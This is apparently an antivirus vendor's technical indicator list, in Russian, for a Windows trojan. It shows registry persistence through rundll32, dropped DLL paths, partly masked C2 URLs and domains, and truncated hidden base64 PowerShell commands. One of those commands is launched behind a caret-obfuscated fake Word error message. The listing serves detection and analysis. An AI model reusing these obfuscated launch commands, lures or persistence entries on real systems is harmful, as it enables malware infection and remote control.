Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\mzwf.gfc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mzwf.gfc] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ptbdf\mzwf.gfc",ShowDialogA'
- 'mzwf.gfc' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Ptbdf\mzwf.gfc",ShowDialogA
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -enc IAAgACQAWgA1AGUASQBXACAAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsANAB9AHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9ACIALQBGACAAJwB0AG8AJwAsACcARABpAFIAZQBjACcALAAnAHIAeQAnACwAJwBpAG8ALgAnA...
- %HOMEPATH%\xqpo3pu\ehrtxtd\x5_j.dll
- %WINDIR%\syswow64\ptbdf\mzwf.gfc
- %HOMEPATH%\xqpo3pu\ehrtxtd\x5_j.dll в %WINDIR%\syswow64\ptbdf\mzwf.gfc
- '20#.#5.39.254':80
- http://av####ipisos.com.br/catalogo-virtual/U/
- http://20#.#5.39.254/vj72jl1/4mcv29gpelj8bz0k/surggl9gv/yxa2391gylu9/
- DNS ASK sm####iagung.com
- DNS ASK at##tx.com
- DNS ASK av####ipisos.com.br
- '<SYSTEM32>\cmd.exe' cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAWgA1AGUASQBXACAAIAA9ACAAWwB0AFkAcABlAF0AKAAiAHsAN...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Xqpo3pu\Ehrtxtd\X5_J.dll ShowDialogA
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Ptbdf\mzwf.gfc",ShowDialogA